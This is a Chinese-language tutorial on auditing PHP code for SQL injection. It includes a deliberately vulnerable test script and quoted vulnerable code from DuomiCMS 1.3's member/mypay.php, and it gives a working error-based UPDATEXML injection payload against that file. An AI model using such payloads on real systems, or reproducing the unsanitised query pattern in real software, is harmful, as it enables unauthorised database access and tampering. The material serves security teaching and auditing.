PHP代碼審計SQL注入篇

來源:互聯網
上載者:User

標籤:normal   style   color   apple   審計   

什麼是SQL注入

SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全性漏洞。可以用它來從資料庫擷取敏感資訊,或者利用資料庫的特性執行添加使用者,匯出檔案等一系列惡意操作,甚至有可能擷取資料庫乃至系統使用者最高許可權。

而造成SQL注入的原因是因為程式沒有有效過濾使用者的輸入,使攻擊者成功的向伺服器提交惡意的SQL查詢代碼,程式在接收後錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。

SQL注入執行個體

很多Web開發人員沒有意識到SQL查詢是可以被篡改的,從而把SQL查詢當作可信任的命令。殊不知,SQL查詢是可以繞開存取控制,從而繞過身分識別驗證和許可權檢查的。更有甚者,有可能通過SQL查詢去運行主機系統級的命令。

下面將通過一些真實的例子來詳細講解SQL注入的方式。

 650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/88/25/wKiom1fqW6CzzlmqAAArvxgj9ZA980.png" border="0" style="line-height: 1.6;"> 

測試代碼如下:

 
  1. <?php
  2. $uid=$_GET[‘id‘];
  3. $sql="SELECT * FROM userinfo where id=$uid";
  4. $conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
  5. mysql_select_db("sql",$conn);
  6. $result=mysql_query($sql,$conn);
  7. print_r(‘當前SQL語句: ‘.$sql.‘
    結果: ‘);
  8. print_r(mysql_fetch_row($result));
  9. ?>
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M02/88/25/wKiom1fqW6DBwDGsAABukPje0gY258.png" border="0" class=""> 首先我們看一下代碼:
 
  1. $uid=$_GET[‘id‘]; //擷取GET值
 
  1. $sql="SELECT * FROM userinfo where id=$uid"; //執行SQL語句
 
  1. $conn=mysql_connect (‘localhost‘,‘root‘,‘root‘);
  2. mysql_select_db("sql",$conn); //資料庫配配置
 
  1. $result=mysql_query($sql,$conn); //進行查詢SQL語句
 
  1. print_r(‘當前SQL語句: ‘.$sql.‘
    結果: ‘);
  2. print_r(mysql_fetch_row($result)); //進行列印輸出沒有任何的過濾所以利用簡單的SQL注入語句就可以直接查詢相關需要的資訊。
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/88/22/wKioL1fqW6CDGhQCAAA1a1HL22s243.png" border="0"> 從可以看出原本的SQL語句已被注入更改,使用了UNION查詢到目前使用者。
另外一個多米CMS最新版1.3版本注入執行個體。漏洞檔案member/mypay.php(14-40行)
 
  1. if(empty($_SESSION[‘duomi_user_id‘])){
  2. showMsg("請先登入","login.php");
  3. exit();
  4. }
  5. elseif($dm==‘mypay‘){
  6. $key=$_POST[‘cardkey‘];
  7. if($key==""){showMsg("請輸入儲值卡號","-1");exit;}
  8. $pwd=$_POST[‘cardpwd‘];
  9. if($pwd==""){showMsg("請輸入儲值卡密碼","-1");exit;}
  10. $sqlt="SELECT * FROM duomi_card where ckey=‘$key‘";
  11. $sqlt="SELECT * FROM duomi_card where cpwd=‘$pwd‘";
  12. $row1 = $dsql->GetOne($sqlt);
  13. if(!is_array($row1) OR $row1[‘status‘]<>0){
  14. showMsg("儲值卡資訊有誤","-1");exit;
  15. }else{
  16. $uname=$_SESSION[‘duomi_user_name‘];
  17. $points=$row1[‘climit‘];
  18. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE ckey=‘$key‘");
  19. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname=‘$uname‘,status=‘1‘ WHERE cpwd=‘$pwd‘");
  20. $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username=‘$uname‘");
  21. showMsg("恭喜!儲值成功!","mypay.php");exit;
  22. }
  23. }
  24. else
  25. {

此處的”cardpwd”變數沒有進行過濾就以POST提交方式傳入了資料庫造成注入。 構造POC如下(注意此處需要註冊使用者並且登陸詳情請看該檔案1-17行):
 
  1. http://localhost/member/mypay.php?dm=mypay
  2. POST:cardpwd=-1‘ AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and ‘1‘=‘1

650) this.width=650;" src="http://s3.51cto.com/wyfs02/M00/88/25/wKiom1fqW6SyRqSVAAaujWsex0Y295.png" border="0"> 


來自為知筆記(Wiz)

PHP代碼審計SQL注入篇

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.